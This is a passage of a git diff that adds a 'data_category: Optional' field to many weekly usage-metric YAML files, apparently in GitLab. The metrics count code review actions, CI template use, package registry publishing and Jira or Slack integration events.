+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_resolve_thread_weekly
description: Count of unique users per week who resolve a thread in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml b/config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml
index 83962fbbb76..e6a44c96fd4 100644
--- a/config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml
+++ b/config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unresolve_thread_weekly
description: Count of unique users per week who unresolve a thread in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml b/config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml
index 2269498bea0..ecbfced908e 100644
--- a/config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml
+++ b/config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_edit_mr_title_weekly
description: Count of unique users per week who edit the title of a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml b/config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml
index 618fed87951..75cc991fcdc 100644
--- a/config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml
+++ b/config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_edit_mr_desc_weekly
description: Count of unique users per week who edit the description of a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml b/config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml
index 5c2e8f2a66c..b2da2ef75b1 100644
--- a/config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml
+++ b/config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_review_note_weekly
description: Count of unique users per week who create a note as part of a merge request review
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml b/config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml
index 4d686094bad..bbbf03fe665 100644
--- a/config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml
+++ b/config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_publish_review_weekly
description: Count of unique users per week who publish their review as part of a merge request review
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml
index bf7f7549958..094246b285c 100644
--- a/config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_multiline_mr_comment_weekly
description: Count of unique users per week who create a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml
index 9fb4d36abc7..f9942bdf336 100644
--- a/config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_edit_multiline_mr_comment_weekly
description: Count of unique users per week who edit a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml
index a149c7cc7a5..e80cd9600be 100644
--- a/config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_remove_multiline_mr_comment_weekly
description: Count of unique users per week who remove a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml b/config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml
index d376ac6501e..c3468ebdc66 100644
--- a/config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml
+++ b/config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_assigned_weekly
description: Count of unique users per week who are assigned to a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml b/config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml
index af747413f41..67b23dad449 100644
--- a/config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml
+++ b/config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_marked_as_draft_weekly
description: Count of unique users per week who mark a merge request as a draft
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml b/config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml
index 5a99e741a7d..0684c51dfab 100644
--- a/config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml
+++ b/config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unmarked_as_draft_weekly
description: Count of unique users per week who unmark a merge request as a draft
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml b/config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml
index 8c946ccb418..bcee92c4764 100644
--- a/config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml
+++ b/config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_review_requested_weekly
description: Count of unique users per week who request a review of a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml b/config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml
index 0716e3b702a..3705c1e782d 100644
--- a/config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml
+++ b/config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_added_weekly
description: Count of unique users per week who add an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml b/config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml
index f0a45edae21..c01eca8df05 100644
--- a/config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml
+++ b/config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_deleted_weekly
description: Count of unique users per week who delete an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml b/config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml
index f1abdb24875..470c80e147e 100644
--- a/config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml
+++ b/config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_edited_weekly
description: Count of unique users per week who edit an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml b/config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml
index 76ab0f54c34..3dff97bda92 100644
--- a/config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml
+++ b/config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_vs_code_api_request_weekly
description: Count of unique users per week who use GitLab Workflow for VS Code
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml b/config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml
index 4e2a71a4593..40b9601282e 100644
--- a/config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml
+++ b/config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_from_issue_weekly
description: Count of unique users per week who create a merge request from an issue
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml
index 9b4c6cb0318..d629bdf63e3 100644
--- a/config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184452_code_review_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.code_review_total_unique_counts_weekly
description: Count of unique users per week who interact with a merge request
product_stage: create
diff --git a/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml b/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
index c6935a76319..93a0b2b1e6a 100644
--- a/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
+++ b/config/metrics/counts_7d/20210216184515_p_ci_templates_5_min_production_app_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_weekly
description: Number of projects using 5 min production app CI template in last 7 days.
product_section: seg
diff --git a/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml b/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
index d9007dc1f8d..bb6ef10ac48 100644
--- a/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
+++ b/config/metrics/counts_7d/20210216184524_p_ci_templates_aws_cf_deploy_ec2_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_aws_cf_deploy_ec2_weekly
description: "Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template in last 7 days."
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml b/config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml
index f35cacdb4c9..dc08b474904 100644
--- a/config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml
+++ b/config/metrics/counts_7d/20210216184528_p_ci_templates_aws_deploy_ecs_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_aws_deploy_ecs_weekly
description: "Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 7 days."
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
index 6f7c9c18aa1..2025f9fa64c 100644
--- a/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.ci_templates_total_unique_counts_weekly
description: Total count of pipelines runs
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml
index cd92e9282ef..88c55330def 100644
--- a/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_weekly
description: A weekly count of Composer packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml
index e6c21b02342..9885ecabc44 100644
--- a/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_weekly
description: A weekly count of Conan packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml
index 3fde3669069..f96fcbd6e8e 100644
--- a/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_weekly
description: A weekly count of container images published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml
index 7d76be2711b..49bd4018846 100644
--- a/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_weekly
description: A weekly count of Debian packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml
index edcd164636a..b508344d827 100644
--- a/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_weekly
description: A weekly count of generic packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml
index 5c0ec453711..06538828958 100644
--- a/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_weekly
description: A weekly count of Go modules published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml
index af6daafa7dd..cf195eee842 100644
--- a/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_weekly
description: A weekly count of Maven packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml
index 609bebc4087..cbe8915fd43 100644
--- a/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_weekly
description: A weekly count of npm packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml
index 0f78eb35621..f0e19bd65a7 100644
--- a/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_weekly
description: A weekly count of NuGet packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml
index 0cf568469ee..ec2383abcec 100644
--- a/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_weekly
description: A weekly count of Python packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml
index b36b49e33ae..9e9bb850987 100644
--- a/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml
+++ b/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_weekly
description: A weekly count of users that have published a package tag to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml
index 3809462ab07..b0ae90703c1 100644
--- a/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_weekly
description: A weekly count of packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml b/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml
index cfaa46f0dae..b5462f5afa4 100644
--- a/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_composer_user_weekly
description: A weekly count of users that have published a Composer package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml b/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml
index b044acc90fa..625f0ee8839 100644
--- a/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_conan_user_weekly
description: A weekly count of users that have published a Conan package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml b/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml
index 98a07acb5d0..2f2acedfebe 100644
--- a/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_container_user_weekly
description: A weekly count of users that have published a container image to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml b/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml
index 8dc2aed0989..7ba0cb93c43 100644
--- a/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_debian_user_weekly
description: A weekly count of users that have published a Debian package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml b/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml
index e5e25e10db1..ce8820ccc87 100644
--- a/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_generic_user_weekly
description: A weekly count of users that have published a generic package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml b/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml
index e7c354fdbf6..fed1dcb357a 100644
--- a/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_golang_user_weekly
description: A weekly count of users that have published a Go module to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml b/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml
index 8ee42570d49..f14ac4a7acf 100644
--- a/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_maven_user_weekly
description: A weekly count of users that have published a Maven package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml b/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml
index 29dd1a69cf0..d98430a800e 100644
--- a/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_npm_user_weekly
description: A weekly count of users that have published an npm package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml b/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml
index 5a4e18afa15..2170cc9c973 100644
--- a/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_nuget_user_weekly
description: A weekly count of users that have published a NuGet package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml b/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml
index ebb116c53a6..91a23455379 100644
--- a/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_pypi_user_weekly
description: A weekly count of users that have published a Python package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml b/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml
index 02a8c435a35..a7dd78aca70 100644
--- a/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml
+++ b/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_tag_user_weekly
description: A weekly count of users that have published a package with a tag to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml
index f262cb31b68..86a165f9d30 100644
--- a/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.user_packages_total_unique_counts_weekly
description: A weekly count of users that have published a package to the registry
product_section: ops
diff --git a/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml b/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml
index e3a8d4b4b8e..1c8a9679fa7 100644
--- a/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml
+++ b/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_weekly
description: Number of users closing Jira issues by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml b/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml
index 91edf718033..1a76c1c69fd 100644
--- a/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml
+++ b/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_weekly
description: Number of users that cross-referenced Jira issues by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml
index 71a7c0ebbf1..8f1ca0fb40c 100644
--- a/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.ecosystem_total_unique_counts_weekly
description: Number of users performing actions on Jira issues by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml b/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
index 210165bbaaa..c0fe97815d9 100644
--- a/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
+++ b/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly
description: Weekly unique user count having merge requests which contains the CI config file
product_section: ops
diff --git a/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml b/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
index 8d4623c2510..83d68d739a4 100644
--- a/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ecosystem.i_ecosystem_slack_service_issue_notification_weekly
description: Calculated unique users to trigger a Slack message by performing an action on an issue by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml b/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
index ef4eb268704..c8d7354cb9b 100644
